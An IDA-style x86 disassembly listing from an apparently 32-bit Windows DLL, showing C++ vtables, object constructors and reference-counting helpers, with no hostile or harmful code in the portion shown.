		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset loc_69B76E9A
		dd offset loc_69B76D8B
		dd offset loc_69B76DCF
		dd offset nullsub_5
		dd offset loc_69B76E05
		dd offset loc_69B76E47
		dd offset sub_69B76CC3
		dd offset loc_69B76E77
off_69B16794	dd offset sub_69B6547B	; DATA XREF: sub_69B166C0+20o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset loc_69B76EA2
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset loc_69B76CE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B76F19


loc_69B167CC:				; CODE XREF: sub_69B76F19+Dj
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B19118
		lea	edi, [esi+8]
		mov	ecx, edi
		call	sub_69B1818F
		mov	dword ptr [edi], offset	off_69B16828
		pop	edi
		mov	dword ptr [esi], offset	off_69B167F0
		mov	eax, esi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_69B76F19
; ---------------------------------------------------------------------------
off_69B167F0	dd offset sub_69B6547B	; DATA XREF: sub_69B76F19-60733o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B76F53
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset nullsub_5
off_69B16828	dd offset sub_69B65C47	; DATA XREF: sub_69B76F19-6073Ao
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B76F36
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B6860C
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset nullsub_5
		dd offset nullsub_3
		dd offset nullsub_8
		dd offset nullsub_5
		dd offset nullsub_7
		dd offset nullsub_3
		dd offset nullsub_7
		dd offset nullsub_5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B772D5


loc_69B1687C:				; CODE XREF: sub_69B772D5+Dj
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B19118
		lea	edi, [esi+8]
		mov	ecx, edi
		call	sub_69B1818F
		push	[esp+8+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		lea	eax, [esi+10h]
		mov	dword ptr [esi], offset	off_69B168C0
		mov	dword ptr [edi], offset	off_69B168F8
		and	dword ptr [eax], 0
		push	eax
		mov	[esi+0Ch], ecx
		call	sub_69B17320
		mov	al, [esp+8+arg_8]
		mov	[esi+19h], al
		pop	edi
		mov	eax, esi
		pop	esi
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_69B772D5
; ---------------------------------------------------------------------------
off_69B168C0	dd offset sub_69B6547B	; DATA XREF: sub_69B772D5-60A3Bo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B1D5D8
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B76F2E
off_69B168F8	dd offset sub_69B65C47	; DATA XREF: sub_69B772D5-60A35o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B77078
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B6860C
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B77080
		dd offset sub_69B770D8
		dd offset sub_69B771EE
		dd offset sub_69B76F7E
		dd offset sub_69B76F9F
		dd offset sub_69B76FDD
		dd offset sub_69B76FB1
		dd offset sub_69B772BC

; =============== S U B	R O U T	I N E =======================================



sub_69B1694C	proc near		; CODE XREF: .text:69B781AEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B77D7D
		push	[esp+4+arg_4]
		lea	eax, [esi+14h]
		mov	dword ptr [esi], offset	off_69B1697C
		mov	dword ptr [esi+4], offset off_69B280B8
		and	dword ptr [eax], 0
		push	eax
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn	8
sub_69B1694C	endp

; ---------------------------------------------------------------------------
		align 4
off_69B1697C	dd offset sub_69B45BAF	; DATA XREF: sub_69B1694C+13o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B78E83
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
		dd offset sub_69B78F44
		dd offset sub_69B78FEC

; =============== S U B	R O U T	I N E =======================================



sub_69B1699C	proc near		; CODE XREF: sub_69B782DC+12Ep
					; sub_69B79B41+172p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B77D97
		push	[esp+4+arg_4]
		lea	eax, [esi+14h]
		mov	dword ptr [esi], offset	off_69B169D0
		mov	dword ptr [esi+4], offset off_69B280B8
		and	dword ptr [eax], 0
		push	eax
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn	8
sub_69B1699C	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B169D0	dd offset sub_69B79EA1	; DATA XREF: sub_69B1699C+13o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B79F32
		dd offset sub_69B79FE4
		dd offset sub_69B7A09C
		dd offset sub_69B7A15C
		dd offset sub_69B7A21C
		dd offset sub_69B84A3B
		dd offset sub_69B7A2DC
		dd offset sub_69B7A39C
		dd offset sub_69B79E99
		dd offset sub_69B7A45C
		dd offset sub_69B7A504
		dd offset sub_69B7A5AC
		dd offset sub_69B7A664
		dd offset sub_69B7A71C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B7808B


loc_69B16A14:				; CODE XREF: sub_69B7808B+Dj
		push	esi
		mov	esi, ecx
		call	sub_69B19118
		push	[esp+4+arg_0]
		lea	eax, [esi+8]
		mov	dword ptr [esi], offset	off_69B16A3C
		and	dword ptr [eax], 0
		and	dword ptr [esi+0Ch], 0
		push	eax
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B7808B
; ---------------------------------------------------------------------------
off_69B16A3C	dd offset sub_69B2D67E	; DATA XREF: sub_69B7808B-61668o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B78671
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B7806A

; =============== S U B	R O U T	I N E =======================================



sub_69B16A74	proc near		; CODE XREF: sub_69B786CD+7Ep
					; sub_69B78A1F-113p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B19118
		push	[esp+0Ch+arg_0]
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B16AE0
		lea	edi, [esi+8]
		mov	[edi], eax
		lea	ebx, [esi+0Ch]
		mov	[ebx], eax
		push	edi
		mov	[esi+10h], eax
		call	sub_69B17320
		mov	eax, [edi]
		push	dword ptr [eax+70h]
		push	ebx
		call	sub_69B17320
		push	offset MultiByteStr ; lpMultiByteStr
		call	sub_69B1D494
		push	eax
		call	sub_69B1A2EC
		mov	ebx, [ebx]
		push	0
		push	0
		push	eax
		mov	ecx, ebx
		call	sub_69B3DA18
		push	eax
		call	sub_69B7808B
		push	eax
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17320
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B16A74	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B16AE0	dd offset sub_69B2D67E	; DATA XREF: sub_69B16A74+10o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B7868C
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset nullsub_5

; =============== S U B	R O U T	I N E =======================================



sub_69B16B18	proc near		; CODE XREF: sub_69B8337C+B8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		call	sub_69B81864
		push	[esp+0Ch+arg_8]
		lea	eax, [ebx+74h]
		mov	dword ptr [ebx], offset	off_69B16B9C
		mov	dword ptr [ebx+4], offset off_69B16B98
		mov	dword ptr [ebx+10h], offset off_69B2A7D4
		mov	dword ptr [ebx+14h], offset off_69B16B84
		and	dword ptr [eax], 0
		lea	esi, [ebx+78h]
		and	dword ptr [esi], 0
		push	eax
		call	sub_69B17320
		push	[esp+0Ch+arg_C]
		push	esi
		call	sub_69B17320
		mov	esi, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		push	15h
		pop	ecx
		lea	edi, [ebx+20h]
		rep movsd
		mov	eax, [eax]
		and	dword ptr [ebx+38h], 0
		or	eax, 3
		pop	edi
		mov	[ebx+1Ch], eax
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	10h
sub_69B16B18	endp

; ---------------------------------------------------------------------------
		align 4
off_69B16B84	dd offset loc_69B8176D	; DATA XREF: sub_69B16B18+25o
		dd offset loc_69B709B2
		dd offset loc_69B709BC
		dd offset loc_69B82B20
		dd offset sub_69B8130F
off_69B16B98	dd offset loc_69B8365C	; DATA XREF: sub_69B16B18+17o
off_69B16B9C	dd offset sub_69B816FA	; DATA XREF: sub_69B16B18+11o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B81135
		dd offset sub_69B81157
		dd offset sub_69B81175
		dd offset sub_69B81193
		dd offset sub_69B811BC
		dd offset sub_69B82AFE
		dd offset sub_69B81652
		dd offset sub_69B81229

; =============== S U B	R O U T	I N E =======================================



sub_69B16BC8	proc near		; CODE XREF: sub_69B887B0+Fp
					; sub_69B887E9+Ep
		push	esi
		mov	esi, ecx
		call	sub_69B19118
		mov	dword ptr [esi], offset	off_69B16C28
		mov	dword ptr [esi+8], offset off_69B16BF0
		and	dword ptr [esi+14h], 0
		and	dword ptr [esi+18h], 0
		mov	dword ptr [esi+1Ch], 1
		mov	eax, esi
		pop	esi
		retn
sub_69B16BC8	endp

; ---------------------------------------------------------------------------
off_69B16BF0	dd offset loc_69B8874D	; DATA XREF: sub_69B16BC8+Eo
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B886D8
		dd offset sub_69B8868D
		dd offset sub_69B365E3
		dd offset sub_69B84A43
		dd offset sub_69B365EB
		dd offset sub_69B84A3B
		dd offset sub_69B365F3
		dd offset sub_69B365EB
		dd offset sub_69B365EB
		dd offset sub_69B84A43
		dd offset sub_69B84A3B
off_69B16C28	dd offset sub_69B88650	; DATA XREF: sub_69B16BC8+8o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B88778
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B88641
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B88757

; =============== S U B	R O U T	I N E =======================================



sub_69B16C60	proc near		; CODE XREF: sub_69B8A4A3+25p
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B19118
		lea	edi, [esi+8]
		mov	ecx, edi
		call	sub_69B1818F
		mov	dword ptr [edi], offset	off_69B16C88
		mov	dword ptr [esi], offset	off_69B18240
		and	dword ptr [esi+0Ch], 0
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_69B16C60	endp

; ---------------------------------------------------------------------------
off_69B16C88	dd offset sub_69B65C47	; DATA XREF: sub_69B16C60+13o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B7624E
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B6860C
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B62A4E
		dd offset sub_69B8A3F6
		dd offset sub_69B8A407
		dd offset sub_69B8A2EF
		dd offset sub_69B71456

; =============== S U B	R O U T	I N E =======================================



sub_69B16CD0	proc near		; CODE XREF: sub_69B8A894+11p
		push	esi
		mov	esi, ecx
		call	sub_69B19118
		mov	dword ptr [esi], offset	off_69B16CEC
		and	dword ptr [esi+20h], 0
		and	dword ptr [esi+24h], 0
		mov	eax, esi
		pop	esi
		retn
sub_69B16CD0	endp

; ---------------------------------------------------------------------------
		align 4
off_69B16CEC	dd offset sub_69B2D67E	; DATA XREF: sub_69B16CD0+8o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B1C2C8
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset nullsub_5

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B16D24	proc near		; CODE XREF: sub_69B8B5C1+29p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B19118
		push	[ebp+arg_0]
		xor	ecx, ecx
		mov	dword ptr [esi], offset	off_69B16D84
		lea	eax, [esi+1Ch]
		lea	edi, [esi+8]
		mov	[edi], ecx
		lea	ebx, [esi+0Ch]
		mov	[ebx], ecx
		push	eax
		mov	[eax], ecx
		call	sub_69B17320
		push	[ebp+arg_4]
		push	edi
		call	sub_69B17320
		push	[ebp+arg_8]
		push	ebx
		call	sub_69B17320
		mov	eax, [ebp+arg_C]
		mov	[esi+10h], eax
		mov	eax, [ebp+arg_10]
		mov	[esi+14h], eax
		mov	al, [ebp+arg_14]
		mov	[esi+18h], al
		mov	eax, [ebp+arg_18]
		mov	[esi+20h], eax
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	1Ch
sub_69B16D24	endp

; ---------------------------------------------------------------------------
off_69B16D84	dd offset sub_69B2D67E	; DATA XREF: sub_69B16D24+12o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B8BAAE
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B8B32E

; =============== S U B	R O U T	I N E =======================================



sub_69B16DBC	proc near		; CODE XREF: sub_69B8BEFC+Dj

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ecx
		call	sub_69B18654
		mov	dword ptr [esi], offset	off_69B16E40
		push	[esp+8+arg_0]
		xor	ebx, ebx
		mov	[esi+10h], ebx
		or	dword ptr [esi+14h], 0FFFFFFFFh
		mov	[esi+18h], ebx
		mov	dword ptr [esi+0Ch], offset off_69B16E34
		mov	[esi+20h], ebx
		or	dword ptr [esi+24h], 0FFFFFFFFh
		mov	[esi+28h], ebx
		mov	dword ptr [esi+1Ch], offset off_69B16E38
		lea	eax, [esi+34h]
		mov	[eax], ebx
		mov	[esi+38h], ebx
		mov	[esi+3Ch], ebx
		mov	[esi+40h], ebx
		mov	[esi+44h], ebx
		mov	[esi+48h], ebx
		mov	[esi+4Ch], ebx
		mov	[esi+50h], ebx
		mov	[esi+54h], ebx
		mov	[esi+58h], ebx
		mov	[esi+5Ch], ebx
		mov	[esi+60h], ebx
		push	eax
		mov	[esi+64h], ebx
		call	sub_69B2DEB2
		mov	[esi+2Ch], bl
		mov	[esi+2Fh], bl
		mov	[esi+2Dh], bl
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B16DBC	endp

; ---------------------------------------------------------------------------
		align 4
off_69B16E34	dd offset sub_69B8B407	; DATA XREF: sub_69B16DBC+1Fo
off_69B16E38	dd offset sub_69B8B436	; DATA XREF: sub_69B16DBC+30o
		dd offset sub_69B8AE35
off_69B16E40	dd offset sub_69B2D67E	; DATA XREF: sub_69B16DBC+9o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B8BB15
		dd offset sub_69B1B57D
		dd offset sub_69B1BF60
		dd offset sub_69B186A8
		dd offset sub_69B2D6C8
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B8BAEF

; =============== S U B	R O U T	I N E =======================================



sub_69B16E78	proc near		; CODE XREF: sub_69B8E980+1C9p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		mov	esi, ecx
		call	sub_69B19118
		push	[esp+4+arg_0]
		xor	ecx, ecx
		mov	dword ptr [esi], offset	off_69B16EC0
		lea	eax, [esi+8]
		mov	[eax], ecx
		mov	[esi+0Ch], ecx
		mov	[esi+10h], ecx
		mov	[esi+14h], ecx
		mov	[esi+18h], ecx
		push	eax
		mov	[esi+20h], ecx
		call	sub_69B17320
		mov	ecx, [esi+30h]
		xor	eax, eax
		mov	al, [esp+4+arg_4]
		and	ecx, 0FFFFFFFAh
		and	eax, 1
		or	eax, ecx
		mov	[esi+30h], eax
		mov	eax, esi
		pop	esi
		retn	8
sub_69B16E78	endp

; ---------------------------------------------------------------------------
off_69B16EC0	dd offset sub_69B2D67E	; DATA XREF: sub_69B16E78+Eo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B8C5EF
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B8C538
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B8C5AE
		dd offset sub_69B8C596
		dd offset sub_69B2E804

; =============== S U B	R O U T	I N E =======================================



sub_69B16F00	proc near		; CODE XREF: sub_69B8E980+82p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B19118
		push	[esp+4+arg_0]
		xor	ecx, ecx
		mov	dword ptr [esi], offset	off_69B16F2C
		lea	eax, [esi+8]
		mov	[eax], ecx
		mov	[esi+0Ch], ecx
		push	eax
		mov	[esi+10h], ecx
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn	4
sub_69B16F00	endp

; ---------------------------------------------------------------------------
		align 4
off_69B16F2C	dd offset sub_69B2D67E	; DATA XREF: sub_69B16F00+Eo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B7868C
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B4DB74

; =============== S U B	R O U T	I N E =======================================



sub_69B16F64	proc near		; CODE XREF: sub_69B8F220+Dj
					; sub_69B8F83D+17p
		push	esi
		mov	esi, ecx
		call	sub_69B19118
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B16F9C
		mov	[esi+0Ch], eax
		mov	[esi+10h], eax
		mov	[esi+14h], eax
		mov	[esi+18h], eax
		mov	[esi+1Ch], eax
		mov	[esi+20h], eax
		mov	[esi+24h], eax
		mov	[esi+2Ch], eax
		mov	[esi+8], al
		mov	[esi+9], al
		mov	[esi+30h], al
		mov	eax, esi
		pop	esi
		retn
sub_69B16F64	endp

; ---------------------------------------------------------------------------
		align 4
off_69B16F9C	dd offset sub_69B2D67E	; DATA XREF: sub_69B16F64+Ao
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B8F93D
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B8F0B4
		dd offset nullsub_5
		dd offset sub_69B8F1C1

; =============== S U B	R O U T	I N E =======================================



sub_69B16FD4	proc near		; CODE XREF: sub_69B8F2B6+Dj
					; sub_69B8F2CD+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B8F235
		push	[esp+8+arg_0]
		lea	eax, [esi+14h]
		mov	dword ptr [esi], offset	off_69B17018
		and	dword ptr [eax], 0
		lea	edi, [esi+18h]
		and	dword ptr [edi], 0
		push	eax
		call	sub_69B17320
		push	[esp+8+arg_4]
		push	edi
		call	sub_69B17320
		mov	al, [esp+8+arg_8]
		mov	[esi+8], al
		pop	edi
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_69B16FD4	endp

; ---------------------------------------------------------------------------
		align 8
off_69B17018	dd offset sub_69B2D67E	; DATA XREF: sub_69B16FD4+10o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B8FA94
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B8F0A4
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B8F4EE
		dd offset sub_69B8F266
		dd offset sub_69B8F2CD
		dd offset sub_69B8F327
		dd offset sub_69B8F39C
		dd offset sub_69B8F416

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B17064	proc near		; CODE XREF: sub_69B8FA48+Dj
					; sub_69B8FBCF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		call	sub_69B8F235
		mov	ebx, [ebp+arg_4]
		lea	eax, [edi+18h]
		push	ebx
		mov	dword ptr [edi], offset	off_69B170E0
		and	dword ptr [eax], 0
		push	eax
		call	sub_69B17320
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+18h]
		mov	eax, [eax+0Ch]
		mov	[edi+14h], eax
		mov	ecx, [esi+18h]
		push	edi
		call	sub_69B8A35C
		test	ebx, ebx
		jz	short loc_69B170D2
		mov	ecx, [esi+1Ch]
		push	ebx
		call	sub_69B1980A
		test	eax, eax
		jnz	short loc_69B170D2
		mov	eax, [esi+20h]
		mov	eax, [eax+0Ch]
		mov	ecx, [esi+1Ch]
		push	eax
		mov	[ebp+arg_4], ecx
		call	sub_69B2F66B
		mov	ecx, [ebp+arg_4]
		push	eax
		push	ebx
		call	sub_69B3182D
		mov	ecx, [esi+20h]
		push	ebx
		call	sub_69B8A35C


loc_69B170D2:				; CODE XREF: sub_69B17064+3Aj
					; sub_69B17064+47j
		mov	byte ptr [edi+8], 5
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_69B17064	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B170E0	dd offset sub_69B2D67E	; DATA XREF: sub_69B17064+14o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B8FA6E
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B8F08C
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B8FA32
		dd offset sub_69B8F9AE
		dd offset sub_69B8FA5F
		dd offset sub_69B8F9B6
		dd offset sub_69B8F9F4
		dd offset nullsub_7
ADVAPI32_dll_dbiat dd 0			; DATA XREF: .text:69B90478o
					; ADVAPI32.dll bound delayed import address table
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B17135


loc_69B17130:				; CODE XREF: sub_69B17135+1DDEj
					; sub_69B17135+1DEEj ...
		mov	[esi+4], edi
		jmp	short loc_69B17182
; END OF FUNCTION CHUNK	FOR sub_69B17135

; =============== S U B	R O U T	I N E =======================================



sub_69B17135	proc near		; CODE XREF: sub_69B1B0B5+69p
					; sub_69B1B0B5+76p ...

; FUNCTION CHUNK AT 69B11FF0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 69B17130 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 69B18EF2 SIZE 00000068 BYTES

		push	28h
		push	offset dword_69B17188
		call	sub_69B19C5C
		and	dword ptr [ebp-1Ch], 0
		and	dword ptr [ebp-20h], 0


loc_69B17149:				; CODE XREF: sub_69B23093+Aj
		and	dword ptr [ebp-4], 0
		nop
		nop
		nop


loc_69B17150:				; CODE XREF: sub_69B17135+50j
		mov	eax, [ebp+8]
		mov	eax, [eax+20h]
		mov	[ebp-24h], eax
		mov	ecx, [eax+8]
		mov	[ebp-28h], ecx
		cmp	[ebp-20h], ecx
		jge	loc_69B11FF0
		mov	[ebp-2Ch], eax
		push	dword ptr [ebp-20h]
		mov	ecx, eax
		call	sub_69B171A0
		mov	[ebp-30h], eax
		cmp	dword ptr [eax+0Ch], 0
		jnz	loc_69B18EF2


loc_69B17182:				; CODE XREF: sub_69B17135-2j
					; sub_69B17135+1DD2j ...
		inc	dword ptr [ebp-20h]
		jmp	short loc_69B17150
sub_69B17135	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B17188	dd 0FFFFFFFFh			dd offset sub_69B2308A
		dd offset sub_69B23093
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_69B171A0	proc near		; CODE XREF: sub_69B17DC6-5D7Fp
					; sub_69B17135+3Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		push	edi
		mov	edi, ecx
		jl	short loc_69B171BD
		cmp	esi, [edi+8]
		jge	short loc_69B171BD


loc_69B171B1:				; CODE XREF: sub_69B171A0+22j
		shl	esi, 4
		lea	eax, [esi+edi+0Ch]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B171BD:				; CODE XREF: sub_69B171A0+Aj
					; sub_69B171A0+Fj
		call	sub_69B2E6D8
		jmp	short loc_69B171B1
sub_69B171A0	endp

; ---------------------------------------------------------------------------
		align 8
off_69B171C8	dd offset sub_69B2D67E	; DATA XREF: sub_69B1A799+6Co
					; sub_69B315F1+29o ...
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B18284
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B2D632
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B17208
		dd offset sub_69B3CAC8
		dd offset nullsub_3

; =============== S U B	R O U T	I N E =======================================



sub_69B17208	proc near		; DATA XREF: .text:69B171FCo
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		test	eax, eax
		push	edi
		lea	edi, [esi+0Ch]
		jz	short loc_69B17226
		push	ebx
		mov	ebx, eax


loc_69B17219:				; CODE XREF: sub_69B17208+1Bj
		push	edi
		call	sub_69B17230
		add	edi, 10h
		dec	ebx
		jnz	short loc_69B17219
		pop	ebx


loc_69B17226:				; CODE XREF: sub_69B17208+Cj
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B17208	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_69B17230	proc near		; CODE XREF: sub_69B11FB9+5p
					; sub_69B12070+1p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	eax, [ecx]
		test	eax, eax
		jnz	short loc_69B1723D

locret_69B1723A:			; CODE XREF: sub_69B17230+16j
		retn	4
; ---------------------------------------------------------------------------


loc_69B1723D:				; CODE XREF: sub_69B17230+8j
		and	dword ptr [ecx], 0
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	short locret_69B1723A
sub_69B17230	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B17248	proc near		; DATA XREF: .text:69B172E8o
					; .text:69B180FCo

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		call	sub_69B17254
		retn	4
sub_69B17248	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B17254	proc near		; CODE XREF: sub_69B17248+4p
		call	sub_69B17275
		test	eax, eax
		jnz	sub_69B183BB
		push	esi
		lea	esi, [ecx+4]
		push	esi		; Target
		call	sub_69B18980
		sub	eax, 8
		mov	[esi], eax
		shr	eax, 3
		pop	esi
		retn
sub_69B17254	endp


; =============== S U B	R O U T	I N E =======================================



